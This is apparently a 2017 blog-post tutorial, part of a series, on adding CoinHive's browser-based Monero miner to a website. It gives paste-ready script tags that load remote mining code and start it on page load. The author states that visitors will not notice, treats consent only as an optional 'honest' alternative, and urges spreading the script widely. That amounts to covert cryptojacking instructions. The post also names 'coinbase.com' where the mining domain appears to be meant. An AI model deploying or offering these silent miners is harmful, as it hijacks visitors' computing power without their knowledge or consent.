My Journey with CoinHive (2) — The Mining Script

Raptor Kwok
2 min readDec 29, 2017

In previous chapter, I mentioned installation of CoinHive scripts in a website is easy. Here’s how.

Step 1: Obtain Site Key
To install the script into a website, first you need to obtain Site Key from CoinHive Settings page > Sites & API Keys. In the page, copy the Site Key (public). It should look like this:

mieg2MWBmmlkrtwOFM0o4iBeHMsq8LXk

Step 2: Add the Script
Then, in your HTML code, you can add the following JavaScript with your <head> section. There are 2 main variations of the code (use either one):

Reminder: Don’t forget to replace the Site Key with the one in Step 1

Variation 1: Initialize the miner with anonymous user
In this variation, the miner is initialized without using user name. The mining results will merge with the main mining results, without knowing where does the source come from.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('mieg2MWBmmlkrtwOFM0o4iBeHMsq8LXk');
miner.start();
</script>

Variation 2: Initialize the miner with an user name
In this variation, you can see I’ve added medium as user name. The user name has nothing related to the login name you used in CoinHive website; you can use any string you want, e.g. your website name.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('mieg2MWBmmlkrtwOFM0o4iBeHMsq8LXk', 'medium');
miner.start();
</script>

I recommend the second variation, as you can keep track the performance of each website. The user name will appear in CoinHive dashboard > New Users.

About the Script
The script will start mining as soon as the page finished loading. The visitors won’t notice the scripts. If you are honest to tell your visitors you’re using their CPU power, you can replace the JavaScript source with AuthedMine, the non-adblocked miner:

<script src="https://authedmine.com/lib/authedmine.min.js"></script>

This will tell the visitors you’re using their CPU power to mine Monero, using the popup as follow:

Example of opt-in screen

If the visitor clicks “Allow for this session”, the miner will start in the background.

Note: This AuthedMine script is also useful if the domain coinbase.com is blocked by firewall.

If you spread your script wisely, your hash rate will increase significantly. Happy mining!

What’s next?
In next chapter, I will cover how to transfer your mined Monero to your Monero wallet, and exchange to other more popular cryptocurrencies, such as Bitcoin (BTC), Bitcoin Cash (BCH) and Ethereum (ETH).

--

--

Raptor Kwok

I write stuffs: novels, programs, mobile apps, journal papers, book chapters, etc.